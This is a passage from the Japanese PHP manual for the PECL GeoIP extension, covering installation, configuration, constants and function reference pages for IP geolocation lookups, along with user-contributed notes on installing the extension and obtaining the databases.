  database/GeoLiteCountry/GeoIP.dat.gz


要件

この拡張モジュールを使用するには、GeoIP C ライブラリのバージョン 1.4.0 以降がインストールされていなければなりません。最新のバージョンは » http://www.maxmind.com/app/c から取得できるので、これをコンパイルします。

デフォルトでは、Free GeoIP Country データベースあるいは GeoLite City データベースにしかアクセスできません。 しかし、それ以外のデータベースを使用することも可能です。その場合には » Maxmind から商用ライセンスを購入しなければなりません。

User Contributed Notes

patrick arobas cartefoi point net 09-Feb-2016 02:28
You can also enjoy a free database from maxmind.  Only the acuracy change.  But GeoLite acuracy will, for sure, be acurate enough for most of your projects.
Its name is:  GeoLite

Vous pouvez aussi profiter d'une base de donnees que MaxMind offre gratuitement:  GeoLite  Seule la precision est moindre, mais la precision de GeoLite suffira a la plupart de vos projets.


インストール手順

この » PECL 拡張 モジュールは PHP にバンドルされていません。

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/geoip.

User Contributed Notes

Justin 31-Oct-2018 07:01
sudo su
yum install GeoIP-devel
mkdir /root/tmp
pear config-set temp_dir /root/tmp
pecl install -f geoip-1.1.1 # (Or latest)
Add 'extension=geoip.so' to /etc/php.ini
Anonymous 18-Sep-2013 06:37
@Centos 6.4
# yum install GeoIP-devel (from yum repo, epel)
# pecl install geoip
then, as prompt, put "extension=geoip.so" into php.ini. Works
mikey03062 at yahoo dot com 11-Apr-2013 10:29
if you are using RH (or CentOS) a simple

yum install php-pecl-geoip

worked for me.    So, before you read all the rest of these "install" instructions, try that.


実行時設定

php.ini の設定により動作が変化します。

GeoIP 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
geoip.custom_directory | "" | PHP_INI_ALL |

以下に設定ディレクティブに関する 簡単な説明を示します。

geoip.custom_directory string

デフォルトは空ですが、 ライブラリ中にコンパイルされているパスとは異なるパスに強制的に変更可能です。

User Contributed Notes

sly_one at abv dot bg 18-Jun-2017 12:47
For me, It was needed also GeoIPCity.dat and adding extension to php.ini "extension=geoip.so" at the end of [PHP] section.

So ..
$details = geoip_record_by_name($ip_addr);

var_dump($details);

Now It works! :)
James 08-Sep-2015 05:13
This page is unclear on exactly which MaxMind DB you need.

I found the answer here: http://h3x.no/2010/11/10/php-geoip-required-database-not-available-at-usrsharegeoipgeoip-dat

wget http://geolite.maxmind.com/download/geoip/database/GeoLiteCountry/GeoIP.dat.gz

MaxMind may have changed their site recently to highlight a different format; if you look on http://dev.maxmind.com/geoip/geoip2/geolite2/ it links to a mmdb format file now.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

GEOIP_COUNTRY_EDITION (int)
GEOIP_REGION_EDITION_REV0 (int)
GEOIP_CITY_EDITION_REV0 (int)
GEOIP_ORG_EDITION (int)
GEOIP_ISP_EDITION (int)
GEOIP_CITY_EDITION_REV1 (int)
GEOIP_REGION_EDITION_REV1 (int)
GEOIP_PROXY_EDITION (int)
GEOIP_ASNUM_EDITION (int)
GEOIP_NETSPEED_EDITION (int)
GEOIP_DOMAIN_EDITION (int)

以下の定数は、ネット接続のスピードを表します。

GEOIP_UNKNOWN_SPEED (int)
GEOIP_DIALUP_SPEED (int)
GEOIP_CABLEDSL_SPEED (int)
GEOIP_CORPORATE_SPEED (int)

User Contributed Notes

There are no user contributed notes for this page.


GeoIP 関数

目次

  • geoip_asnum_by_name — AS番号(ASN) を取得する
  • geoip_continent_code_by_name — 二文字の大陸コードを取得する
  • geoip_country_code_by_name — 二文字の国コードを取得する
  • geoip_country_code3_by_name — 三文字の国コードを取得する
  • geoip_country_name_by_name — 完全な国名を取得する
  • geoip_database_info — GeoIP データベースの情報を取得する
  • geoip_db_avail — GeoIP データベースが使用可能かどうかを調べる
  • geoip_db_filename — 対応する GeoIP データベースのファイル名を返す
  • geoip_db_get_all_info — すべての GeoIP データベース形式についての詳細情報を返す
  • geoip_domain_by_name — セカンドレベルドメインの名前を取得する
  • geoip_id_by_name — インターネット接続方式を取得する
  • geoip_isp_by_name — インターネットサービスプロバイダ (ISP) 名を取得する
  • geoip_netspeedcell_by_name — インターネットへの接続速度を取得する
  • geoip_org_by_name — 組織名を取得する
  • geoip_record_by_name — GeoIP データベースで見つかった詳細な都市情報を返す
  • geoip_region_by_name — 国コードおよび地域を取得する
  • geoip_region_name_by_code — 国コードと地域コードから地域名を返す
  • geoip_setup_custom_directory — GeoIP データベースのカスタムディレクトリを設定する
  • geoip_time_zone_by_country_and_region — 国コードと地域コードからタイムゾーンを返す

User Contributed Notes

nospam dot guilhem at nospam dot answeb dot net 05-Apr-2011 02:26
Hello,

While trying to update the GeoIP.dat file under debian, I've found out that automatic updates via the geoipupdate (in geoip-bin package) is not available for the free edition. Here is a one-liner script that will do it. You can put it in a crontab, it will download the .dat file only if it has change :

cd /usr/share/GeoIP && wget GEOIP_URL -N && cat GeoIP.dat.gz | gzip -d > GeoIP.dat

Note : GEOIP_URL is to be found on the page http://www.maxmind.com/app/geoip_country, under the Binary Format section (The php note system won't allow me to put the full URL here

Crontab line could be :

@weekly cd /usr/share/GeoIP && (..)
nandox7 at myrealbox dot com 26-Dec-2008 06:49
The GeoLiteCity free db works and can resolve city names and other informations.

Make sure the instructions are followed regarding it's installation.

http://www.maxmind.com/app/installation?city=1

At step 2 the decompress file must be moved and renamed.
The files needs to be called GeoIPCity.dat if not the mod_geoip will not find it.
thomas {AT} thomasfischer {D0T} BIZ 07-Apr-2008 05:04
you can use this function to determine the continent of a country:

function getContinentFromCountry($country)
{
 $data = array ("AF"=> "AS","AX"=>"EU","AL"=>"EU", "DZ"=>"AF","AS"=>"OC", "AD"=>"EU","AO"=> "AF" ........);
 return $data[$country];
}

unfortunately this comment's size is restricted, so you will have the rest by yourself

for example:
getContinentFromCountry("DE") will result in "EU"

this data is based on
wikipedia's
List_of_countries_by_continent_(data_file)
kapouer at melix dot org 01-Mar-2008 07:26
For Debian etch users : libgeoip is in version 1.4 so get the source from lenny (apt-get build-dep libgeoip;apt-get source libgeoip), compile it on etch (dpkg-buildpackage -rfakeroot in source folder) and install resulting libgeoip1 and libgeo-dev packages (dpkg -i)... Together with php5-dev this package is easy to install (phpize5;./configure --enable-geoip;make;make install)... Then check your install in php with :
<?php
    echo geoip_database_info(GEOIP_COUNTRY_EDITION);
    echo $_SERVER['REMOTE_ADDR'];
    echo geoip_country_code3_by_name($_SERVER['REMOTE_ADDR']);
?>

please note free .dat is in /usr/share/GeoIP/GeoIP.dat
Use geoip-bin package to schedule automatic updates (configure /etc/geoip.default.conf and copy to /etc/geoip.conf, then add a crontab to make the updates...)
hope this helps
php dot comment dot addition at gmail dot com 10-Jun-2007 08:57
Just to clarify the other comments, the maxmind post seems to be out of date / incorrect.

This module fails to work (ie: resolve cities) with the GeoLite City database from here:
http://www.maxmind.com/app/geolitecity

The error occurs when calling the function geoip_record_by_name(), which states incorrectly that the required database is not available.  I have tested it with the very latest database, for which geoip_database_info() returns  the version:
GEO-533LITE 20070601 Build 1 Copyright (c) 2007 MaxMind LLC All Rights Reserved

It does, however, resolve countries OK via the GeoLite Country database, which you can grab here: http://www.maxmind.com/app/geoip_country
I tested with the version:

GEO-106FREE 20070601 Build 1 Copyright (c) 2007 MaxMind LLC All Rights Reserved
tjmather at maxmind dot com 26-Feb-2007 08:09
The geoip_country_*_by_name functions only work with GeoIP Country.  The geoip_record_by_name function works with GeoIP City.  geoip_region_by_name works with GeoIP Region.  So the API should work with all of the GeoIP databases, as long as you call the correct function.
26-Jan-2007 05:23
I couldn't get it to work with the DMA code database (product ID 137).  It seems to only work with the country database.  The documentation should contain a warning that this code (as of 0.2.0) is incomplete and that Net_GeoIP should be used for non-country databases.
judas dot iscariote at gmail dot com 16-Nov-2006 07:59
If you want to use this extension in SUSE/openSUSE, it is available here:

http://repos.opensuse.org/server:/php:/extensions/
Christian 13-Sep-2006 05:45
Both, Ubuntu and Debian itself make usage of version 1.3.x of the c libraries, so installation can't be done with the debian packages, because configure stops with:

== configure: error: You need version 1.4.0 or higher of the C API ==

so you must download it from maxmind.
Matt 08-Sep-2006 01:34
If you are a Debian or Ubuntu user, instead of building it from source, you can:
aptitude install libgeoip-dev libgeoip1


AS番号(ASN) を取得する

  • ≪ GeoIP 関数
  • geoip_continent_code_by_name ≫
  • PHP Manual
  • GeoIP 関数
  • AS番号(ASN) を取得する

geoip_asnum_by_name

(PECL geoip >= 1.1.0)

geoip_asnum_by_name — AS番号(ASN) を取得する

説明

geoip_asnum_by_name ( string $hostname ) : string

geoip_asnum_by_name() 関数は、 IPアドレスに関連付けられたAS番号(ASN)を返します。

パラメータ

hostname

ホスト名またはIPアドレス

返り値

成功時にはAS番号を返します。 アドレスがデータベースに見つからなかった場合は false を返します。

例

例1 geoip_asnum_by_name() の例

この例は、www.example.com のAS番号を出力します。

<?php
$asn = geoip_asnum_by_name('www.example.com');

if ($asn) {
    echo 'The ASN is: ' . $asn;
}
?>

上の例の出力は以下となります。

The ASN is: AS15133 EdgeCast Networks, Inc

User Contributed Notes

edwin at theroyalstudent dot com 11-Nov-2014 03:22
The code example as stated has a missing '.', causing a syntax error if it is pasted and executed without being checked.

Correct Code:

<?php
$asn = geoip_asnum_by_name('www.example.com');

if ($asn) {
    echo 'The ASN is: ' . $asn;
}
?>


二文字の大陸コードを取得する

  • ≪ geoip_asnum_by_name
  • geoip_country_code_by_name ≫
  • PHP Manual
  • GeoIP 関数
  • 二文字の大陸コードを取得する

geoip_continent_code_by_name

(PECL geoip >= 1.0.3)

geoip_continent_code_by_name — 二文字の大陸コードを取得する

説明

geoip_continent_code_by_name ( string $hostname ) : string

geoip_continent_code_by_name() 関数は、 ホスト名あるいは IP アドレスに対応する二文字の大陸コードを返します。

パラメータ

hostname

場所を探す対象となるホスト名あるいは IP アドレス。

返り値

成功した場合には二文字の大陸コード、 アドレスがデータベースで見つからない場合には false を返します。

大陸コード
コード | 大陸名
AF | アフリカ
AN | 南極
AS | アジア
EU | ヨーロッパ
NA | 北アメリカ
OC | オセアニア
SA | 南アメリカ

例

例1 geoip_continent_code_by_name() の例

これは、ホスト example.com がどこにあるのかを表示します。

<?php
$continent = geoip_continent_code_by_name('www.example.com');
if ($continent) {
    echo 'This host is located in: ' . $continent;
}
?>

上の例の出力は以下となります。

 This host is located in: NA

参考

  • geoip_country_code_by_name() - 二文字の国コードを取得する

User Contributed Notes

Christopher Kramer 24-May-2018 09:27
To get the continent of the current visitor, just use the IP address as parameter:

<?php
$continent = geoip_continent_code_by_name($_SERVER['REMOTE_ADDR']);
?>

If you also want to support the Apache GeoIP extension:

<?php

if(isset($_SERVER["GEOIP_CONTINENT_CODE"]))
  $continent = $_SERVER["GEOIP_CONTINENT_CODE"];
elseif(function_exists("geoip_continent_code_by_name") && isset($_SERVER['REMOTE_ADDR']))
  $continent = geoip_continent_code_by_name($_SERVER['REMOTE_ADDR']);
else
  $continent = 'unknown';

?>


二文字の国コードを取得する

  • ≪ geoip_continent_code_by_name
  • geoip_country_code3_by_name ≫
  • PHP Manual
  • GeoIP 関数
  • 二文字の国コードを取得する

geoip_country_code_by_name

(PECL geoip >= 0.2.0)

geoip_country_code_by_name — 二文字の国コードを取得する

説明

geoip_country_code_by_name ( string $hostname ) : string

geoip_country_code_by_name() 関数は、 ホスト名あるいは IP アドレスに対応する二文字の国コードを返します。

パラメータ

hostname

場所を探す対象となるホスト名あるいは IP アドレス。

返り値

成功した場合には二文字の ISO 国コード、 アドレスがデータベースで見つからない場合には false を返します。

例

例1 geoip_country_code_by_name() の例

これは、ホスト example.com がどこにあるのかを表示します。

<?php
$country = geoip_country_code_by_name('www.example.com');
if ($country) {
    echo 'This host is located in: ' . $country;
}
?>

上の例の出力は以下となります。

This host is located in: US

注意

警告

返り値の完全なリストは » http://www.maxmind.com/en/iso3166 を参照ください。ここには特別なコードも含まれています。

参考

  • geoip_country_code3_by_name() - 三文字の国コードを取得する
  • geoip_country_name_by_name() - 完全な国名を取得する

User Contributed Notes

Ameen Oluajayi 05-Feb-2019 07:22
The doc example gets the country of the website.
However, to get the country of your website's "visitor/user",
use the "user's" IP address as parameter:

<?php
$country = geoip_country_code_by_name($_SERVER['REMOTE_ADDR']);
?>


三文字の国コードを取得する

  • ≪ geoip_country_code_by_name
  • geoip_country_name_by_name ≫
  • PHP Manual
  • GeoIP 関数
  • 三文字の国コードを取得する

geoip_country_code3_by_name

(PECL geoip >= 0.2.0)

geoip_country_code3_by_name — 三文字の国コードを取得する

説明

geoip_country_code3_by_name ( string $hostname ) : string

geoip_country_code3_by_name() 関数は、 ホスト名あるいは IP アドレスに対応する三文字の国コードを返します。

パラメータ

hostname

場所を探す対象となるホスト名あるいは IP アドレス。

返り値

成功した場合には三文字の国コード、 アドレスがデータベースで見つからない場合には false を返します。

例

例1 geoip_country_code3_by_name() の例

これは、ホスト example.com がどこにあるのかを表示します。

<?php
$country = geoip_country_code3_by_name('www.example.com');
if ($country) {
    echo 'This host is located in: ' . $country;
}
?>

上の例の出力は以下となります。

This host is located in: USA

参考

  • geoip_country_code_by_name() - 二文字の国コードを取得する
  • geoip_country_name_by_name() - 完全な国名を取得する

User Contributed Notes

There are no user contributed notes for this page.


完全な国名を取得する

  • ≪ geoip_country_code3_by_name
  • geoip_database_info ≫
  • PHP Manual
  • GeoIP 関数
  • 完全な国名を取得する

geoip_country_name_by_name

(PECL geoip >= 0.2.0)

geoip_country_name_by_name — 完全な国名を取得する

説明

geoip_country_name_by_name ( string $hostname ) : string

geoip_country_name_by_name() 関数は、 ホスト名あるいは IP アドレスに対応する完全な国名を返します。

パラメータ

hostname

場所を探す対象となるホスト名あるいは IP アドレス。

返り値

成功した場合には国名、 アドレスがデータベースで見つからない場合には false を返します。

例

例1 geoip_country_name_by_name() の例

これは、ホスト example.com がどこにあるのかを表示します。

<?php
$country = geoip_country_name_by_name('www.example.com');
if ($country) {
    echo 'This host is located in: ' . $country;
}
?>

上の例の出力は以下となります。

 This host is located in: United States

参考

  • geoip_country_code_by_name() - 二文字の国コードを取得する
  • geoip_country_code3_by_name() - 三文字の国コードを取得する

User Contributed Notes

There are no user contributed notes for this page.


GeoIP データベースの情報を取得する

  • ≪ geoip_country_name_by_name
  • geoip_db_avail ≫
  • PHP Manual
  • GeoIP 関数
  • GeoIP データベースの情報を取得する

geoip_database_info

(PECL geoip >= 0.2.0)

geoip_database_info — GeoIP データベースの情報を取得する

説明

geoip_database_info ( int $database = GEOIP_COUNTRY_EDITION ) : string

geoip_database_info() 関数は、 GeoIP データベースのバージョンを返します。 このバージョンはバイナリファイルの内部で定義されています。

この関数を引数なしでコールすると、GeoIP Free Country Edition のバージョンを返します。

パラメータ

database

データベースの型を整数値で指定します。この拡張モジュールで定義されている さまざまな定数 (例: GEOIP_*_EDITION) を使用することができます。

返り値

対応するデータベースのバージョン、あるいはエラー時に null を返します。

例

例1 geoip_database_info() の例

これは、データベースに関する情報を出力します。

<?php
print geoip_database_info(GEOIP_COUNTRY_EDITION);
?>

上の例の出力は以下となります。

GEO-106FREE 20060801 Build 1 Copyright (c) 2006 MaxMind LLC All Rights Reserved

User Contributed Notes

There are no user contributed notes for this page.


GeoIP データベースが使用可能かどうかを調べる

  • ≪ geoip_database_info
  • geoip_db_filename ≫
  • PHP Manual
  • GeoIP 関数
  • GeoIP データベースが使用可能かどうかを調べる

geoip_db_avail

(PECL geoip >= 1.0.1)

geoip_db_avail — GeoIP データベースが使用可能かどうかを調べる

説明

geoip_db_avail ( int $database ) : bool

geoip_db_avail() 関数は、対応する GeoIP データベースが存在し、ディスク上にオープンできるかどうかを調べます。

これは、そのファイルが適切なデータベース形式かどうかを調べるものではありません。 単にそのファイルが読み込み可能かどうかを調べるだけです。

パラメータ

database

データベースの形式を表す整数値。この拡張モジュールで定義している さまざまな定数 (GEOIP_*_EDITION) を使用することができます。

返り値

データベースが存在する場合に true、存在しない場合に false、 エラー時に null を返します。

例

例1 geoip_db_avail() の例

これは、現在のデータベースのバージョンを文字列で出力します。

<?php

if (geoip_db_avail(GEOIP_COUNTRY_EDITION))
    print geoip_database_info(GEOIP_COUNTRY_EDITION);
?>

上の例の出力は以下となります。

GEO-106FREE 20080801 Build 1 Copyright (c) 2006 MaxMind LLC All Rights Reserved

User Contributed Notes

There are no user contributed notes for this page.


対応する GeoIP データベースのファイル名を返す

  • ≪ geoip_db_avail
  • geoip_db_get_all_info ≫
  • PHP Manual
  • GeoIP 関数
  • 対応する GeoIP データベースのファイル名を返す

geoip_db_filename

(PECL geoip >= 1.0.1)

geoip_db_filename — 対応する GeoIP データベースのファイル名を返す

説明

geoip_db_filename ( int $database ) : string

geoip_db_filename() 関数は、 対応する GeoIP データベースのファイル名を返します。

これは、そのファイルが存在するかどうかを表すものではありません。 単に、ライブラリがデータベースを探す先を返すだけのものです。

パラメータ

database

データベースの形式を表す整数値。この拡張モジュールで定義している さまざまな定数 (GEOIP_*_EDITION) を使用することができます。

返り値

対応するデータベースのファイル名、あるいはエラー時に null を返します。

例

例1 geoip_db_filename() の例

これは、対応するデータベースのファイル名を出力します。

<?php

print geoip_db_filename(GEOIP_COUNTRY_EDITION);

?>

上の例の出力は以下となります。

/usr/share/GeoIP/GeoIP.dat

User Contributed Notes

Loc d&#39;Anterroches 18-Aug-2010 05:50
To quickly know which databases are available on your system:

<?php
$cst = array(
             'GEOIP_COUNTRY_EDITION' => GEOIP_COUNTRY_EDITION,
             'GEOIP_REGION_EDITION_REV0' => GEOIP_REGION_EDITION_REV0,
             'GEOIP_CITY_EDITION_REV0' => GEOIP_CITY_EDITION_REV0,
             'GEOIP_ORG_EDITION' => GEOIP_ORG_EDITION,
             'GEOIP_ISP_EDITION' => GEOIP_ISP_EDITION,
             'GEOIP_CITY_EDITION_REV1' => GEOIP_CITY_EDITION_REV1,
             'GEOIP_REGION_EDITION_REV1' => GEOIP_REGION_EDITION_REV1,
             'GEOIP_PROXY_EDITION' => GEOIP_PROXY_EDITION,
             'GEOIP_ASNUM_EDITION' => GEOIP_ASNUM_EDITION,
             'GEOIP_NETSPEED_EDITION' => GEOIP_NETSPEED_EDITION,
             'GEOIP_DOMAIN_EDITION' => GEOIP_DOMAIN_EDITION,
             );

foreach ($cst as $k=>$v) {
    echo $k.': '.geoip_db_filename($v).'  '.(geoip_db_avail($v) ? 'Available':'').'<br>';
}
?>

The only drawback of the PECL extension with respect to a pure PHP implementation is that you cannot select yourself where the database is. So, if you get a new version of the database, you need to put in the standard place and you may need root access to do so.


すべての GeoIP データベース形式についての詳細情報を返す

  • ≪ geoip_db_filename
  • geoip_domain_by_name ≫
  • PHP Manual
  • GeoIP 関数
  • すべての GeoIP データベース形式についての詳細情報を返す

geoip_db_get_all_info

(PECL geoip >= 1.0.1)

geoip_db_get_all_info — すべての GeoIP データベース形式についての詳細情報を返す

説明

geoip_db_get_all_info ( ) : array

geoip_db_get_all_info() 関数は、 すべての GeoIP データベース形式についての詳細情報を多次元配列で返します。

この関数は、データベースがインストールされていない場合でも使用可能です。 その場合は、使用できないことが返されます。

返される連想配列のキーは、次のようになります。

  • "available" -- DB が使用可能かどうか (geoip_db_avail() を参照ください)
  • "description" -- データベースについての説明
  • "filename" -- ディスク上でのデータベースのファイル名 (geoip_db_filename() を参照ください)

返り値

連想配列を返します。

例

例1 geoip_db_get_all_info() の例

これは、すべての情報を含む配列を表示します。

<?php
$infos = geoip_db_get_all_info();
if (is_array($infos)) {
    var_dump($infos);
}
?>

上の例の出力は以下となります。

array(11) {
  [1]=>
  array(3) {
    ["available"]=>
    bool(true)
    ["description"]=>
    string(21) "GeoIP Country Edition"
    ["filename"]=>
    string(32) "/usr/share/GeoIP/GeoIP.dat"
  }

[ ... ]

  [11]=>
  array(3) {
    ["available"]=>
    bool(false)
    ["description"]=>
    string(25) "GeoIP Domain Name Edition"
    ["filename"]=>
    string(38) "/usr/share/GeoIP/GeoIPDomain.dat"
  }
}

例2 geoip_db_get_all_info() の例

さまざまな定数を使用することで、特定の情報のみを取得することができます。

<?php
$infos = geoip_db_get_all_info();
if ($infos[GEOIP_COUNTRY_EDITION]['available']) {
    echo $infos[GEOIP_COUNTRY_EDITION]['description'];
}
?>

上の例の出力は以下となります。

GeoIP Country Edition

User Contributed Notes

There are no user contributed notes for this page.


セカンドレベルドメインの名前を取得する

  • ≪ geoip_db_get_all_info
  • geoip_id_by_name ≫
  • PHP Manual
  • GeoIP 関数
  • セカンドレベルドメインの名前を取得する

geoip_domain_by_name

(PECL geoip >= 1.1.0)

geoip_domain_by_name — セカンドレベルドメインの名前を取得する

説明

geoip_domain_by_name ( string $hostname ) : string

geoip_domain_by_name() 関数は ホスト名またはIPアドレスに関連付けられた セカンドレベルドメイン名を返します。

この関数は、商用の GeoIP Domain Edition を購入したユーザーだけが利用可能です。 適切にデータベースが配置されていない場合は、警告が発生します。

パラメータ

hostname

ホスト名またはIPアドレス

返り値

成功時にはドメイン名を返します。 アドレスがデータベースに存在しない場合は false を返します。

例

例1 geoip_domain_by_name() の例

この例は、IPアドレス 61.106.139.1 に関連付けられているドメインを出力します。

<?php
$domain = geoip_domain_by_name('61.106.139.1');

if ($domain) {
    echo 'The domain is: '. $domain;
}

?>

上の例の出力は以下となります。

The domain is: von.co.kr

User Contributed Notes

There are no user contributed notes for this page.


インターネット接続方式を取得する

  • ≪ geoip_domain_by_name
  • geoip_isp_by_name ≫
  • PHP Manual
  • GeoIP 関数
  • インターネット接続方式を取得する

geoip_id_by_name

(PECL geoip >= 0.2.0)

geoip_id_by_name — インターネット接続方式を取得する

説明

geoip_id_by_name ( string $hostname ) : int

geoip_id_by_name() 関数は、 ホスト名あるいは IP アドレスに対応するインターネット接続方式を返します。

返り値は数値で、以下の定数と比較できます。

  • GEOIP_UNKNOWN_SPEED
  • GEOIP_DIALUP_SPEED
  • GEOIP_CABLEDSL_SPEED
  • GEOIP_CORPORATE_SPEED

パラメータ

hostname

接続方式を探す対象となるホスト名あるいは IP アドレス。

返り値

接続方式を返します。

例

例1 geoip_id_by_name() の例

これは、ホスト example.com の接続方式を返します。

<?php
$netspeed = geoip_id_by_name('www.example.com');

echo 'The connection type is ';

switch ($netspeed) {
    case GEOIP_DIALUP_SPEED:
        echo 'dial-up';
        break;
    case GEOIP_CABLEDSL_SPEED:
        echo 'cable or DSL';
        break;
    case GEOIP_CORPORATE_SPEED:
        echo 'corporate';
        break;
    case GEOIP_UNKNOWN_SPEED:
    default:
        echo 'unknown';
}
?>

上の例の出力は以下となります。

The connection type is corporate

User Contributed Notes

There are no user contributed notes for this page.


インターネットサービスプロバイダ (ISP) 名を取得する

  • ≪ geoip_id_by_name
  • geoip_netspeedcell_by_name ≫
  • PHP Manual
  • GeoIP 関数
  • インターネットサービスプロバイダ (ISP) 名を取得する

geoip_isp_by_name

(PECL geoip >= 1.0.2)

geoip_isp_by_name — インターネットサービスプロバイダ (ISP) 名を取得する

説明

geoip_isp_by_name ( string $hostname ) : string

geoip_isp_by_name() 関数は、 IP アドレスに対応するインターネットサービスプロバイダ (ISP) 名を返します。

現在この関数を使用できるのは、商用の GeoIP ISP Edition を購入した人だけです。 適切なデータベースが見つからない場合には警告が発生します。

パラメータ

hostname

ホスト名あるいは IP アドレス。

返り値

成功した場合には ISP 名、 アドレスがデータベースで見つからない場合には false を返します。

例

例1 geoip_isp_by_name() の例

これは、ホスト example.com の ISP 名を表示します。

<?php
$isp = geoip_isp_by_name('www.example.com');
if ($isp) {
    echo 'This host IP is from ISP: ' . $isp;
}
?>

上の例の出力は以下となります。

This host IP is from ISP: ICANN c/o Internet Assigned Numbers Authority

User Contributed Notes

There are no user contributed notes for this page.


インターネットへの接続速度を取得する

  • ≪ geoip_isp_by_name
  • geoip_org_by_name ≫
  • PHP Manual
  • GeoIP 関数
  • インターネットへの接続速度を取得する

geoip_netspeedcell_by_name

(PECL geoip >= 1.1.0)

geoip_netspeedcell_by_name — インターネットへの接続速度を取得する

説明

geoip_netspeedcell_by_name ( string $hostname ) : string

geoip_netspeedcell_by_name() 関数は、 ホスト名またはIPアドレスに対応するインターネットへの接続タイプと接続速度を返します。

この関数は、GeoIP Library 1.4.8 以降でのみ利用可能です。

この関数は、商用の GeoIP NetSpeedCell Edition を購入したユーザーのみが利用可能です。 適切にデータベースが配置されていない場合は、警告が発生します。

この関数の返り値は文字列です。共通の値は以下の通りです:

  • Cable/DSL
  • Dialup
  • Cellular
  • Corporate

パラメータ

hostname

ホスト名またはIPアドレス

返り値

成功時には接続スピードを返します。 アドレスがデータベースに存在しない場合は、false を返します。

例

例1 geoip_netspeedcell_by_name() の例

この例は、ホスト example.com の接続速度を出力します。

<?php
$netspeed = geoip_netspeedcell_by_name('www.example.com');

if ($netspeed) {
    echo 'The connection type is: '. $netspeed;
}
?>

上の例の出力は以下となります。

The connection type is: Corporate

User Contributed Notes

There are no user contributed notes for this page.


組織名を取得する

  • ≪ geoip_netspeedcell_by_name
  • geoip_record_by_name ≫
  • PHP Manual
  • GeoIP 関数
  • 組織名を取得する

geoip_org_by_name

(PECL geoip >= 0.2.0)

geoip_org_by_name — 組織名を取得する

説明

geoip_org_by_name ( string $hostname ) : string

geoip_org_by_name() 関数は、 その IP アドレスが割り当てられている組織の名前を返します。

現在この関数を使用できるのは、商用の GeoIP Organization, ISP あるいは AS Edition を購入した人だけです。 適切なデータベースが見つからない場合には警告が発生します。

パラメータ

hostname

ホスト名あるいは IP アドレス。

返り値

成功した場合には組織名、 アドレスがデータベースで見つからない場合には false を返します。

例

例1 geoip_org_by_name() の例

これは、ホスト example.com の IP が誰に割り当てられているかを表示します。

<?php
$org = geoip_org_by_name('www.example.com');
if ($org) {
    echo 'This host IP is allocated to: ' . $org;
}
?>

上の例の出力は以下となります。

This host IP is allocated to: ICANN c/o Internet Assigned Numbers Authority

User Contributed Notes

There are no user contributed notes for this page.


GeoIP データベースで見つかった詳細な都市情報を返す

  • ≪ geoip_org_by_name
  • geoip_region_by_name ≫
  • PHP Manual
  • GeoIP 関数
  • GeoIP データベースで見つかった詳細な都市情報を返す

geoip_record_by_name

(PECL geoip >= 0.2.0)

geoip_record_by_name — GeoIP データベースで見つかった詳細な都市情報を返す

説明

geoip_record_by_name ( string $hostname ) : array

geoip_record_by_name() 関数は、 ホスト名あるいは IP アドレスに対応するレコード情報を返します。

この関数は、GeoLite City Edition および商用の GeoIP City Edition のどちらでも使用可能です。 適切なデータベースが見つからない場合には警告が発生します。

返される連想配列には、以下のようなさまざまな名前のキーが含まれます。

  • "continent_code" -- 二文字の大陸コード (バージョン 1.0.4 以降で libgeoip 1.4.3 以降を使用した場合)
  • "country_code" -- 二文字の国コード (geoip_country_code_by_name() を参照ください)
  • "country_code3" -- 三文字の国コード (geoip_country_code3_by_name() を参照ください)
  • "country_name" -- 国名 (geoip_country_name_by_name() を参照ください)
  • "region" -- 地域コード (例: カリフォルニアなら CA)
  • "city" -- 市
  • "postal_code" -- 郵便番号、FSA あるいは Zip コード
  • "latitude" -- 緯度 (符号付き浮動小数点形式)
  • "longitude" -- 経度 (符号付浮動小数点形式)
  • "dma_code" -- Designated Market Area コード (アメリカおよびカナダのみ)
  • "area_code" -- PSTN エリアコード (例: 212)

パラメータ

hostname

レコードを探す対象となるホスト名あるいは IP アドレス。

返り値

成功した場合には連想配列、 アドレスがデータベースで見つからない場合には false を返します。

変更履歴

バージョン | 説明
PECL geoip 1.0.4 | continent_code が GeoIP Library 1.4.3 以降でのみ使えるようになりました。
PECL geoip 1.0.3 | country_code3 および country_name が追加されました。

例

例1 geoip_record_by_name() の例

これは、ホスト example.com のレコードを含む連想配列を表示します。

<?php
$record = geoip_record_by_name('www.example.com');
if ($record) {
    print_r($record);
}
?>

上の例の出力は以下となります。

Array
(
    [continent_code] => NA
    [country_code] => US
    [country_code3] => USA
    [country_name] => United States
    [region] => CA
    [city] => Marina Del Rey
    [postal_code] =>
    [latitude] => 33.9776992798
    [longitude] => -118.435096741
    [dma_code] => 803
    [area_code] => 310
)

User Contributed Notes

bogdan at grabinski dot com 21-Jan-2014 05:02
I use this additional code in my error handler class to suppress "PHP Notice" send by the function geoip_record_by_name() in case of IP not found. No e-mails or echo on display is welcome for this notice in development environment.

public static function Handler($errNo, $errStr, $errFile, $errLine){
   $backtrace = ErrorHandler::GetBacktrace(2);
   // detection of unwelcome  PHP Notice and its ignoring.
   if($errNo == E_NOTICE && preg_match('/^geoip_record_by_name.*Host.*not found$/', $errStr)){
            return;
        }

The rest of normal error handler code remains.
etbwebdesign.com 07-May-2013 03:42
I know this may be obvious to some but I thought I would post it anyway to help others. The GEOIP section of the PHP site is a bit limited in useful tips/documentation other than the initial functions and examples.

If you are trying to get information about the specific user visiting your site, you should use their IP address via the remote address in the GEOIP function. In addition here are some useful bits of code to pull certain information from the function.
<?php
# Collect a specific users GEOIP info
$info = geoip_record_by_name($_SERVER['REMOTE_ADDR']);
print_r ($info);

# To get the info from one specific field
$country = $info['country_name'];
echo $country;

# To combine information from the array into a string
$info = implode("/", $info);
echo $info;
?>

Note on field in this array is NOT included, the connection speed of the user. To find the connection speed/connection type the visitor has, you can use the geoip_id_by_name() function. Lastly it is a good idea on whatever platform you are using GEOIP on to make sure it's data is up-to-date. On most Linux/UNIX systems with terminal you can use "pear update-channels" and "pecl update-channels" commands to keep your libraries updated. This is a good idea because GEOIP databases and country/location codes often change over time.
wouter dot berben at ignitione dot com 11-Jan-2012 01:04
This function returns a PHP Notice when a address can not be found.


国コードおよび地域を取得する

  • ≪ geoip_record_by_name
  • geoip_region_name_by_code ≫
  • PHP Manual
  • GeoIP 関数
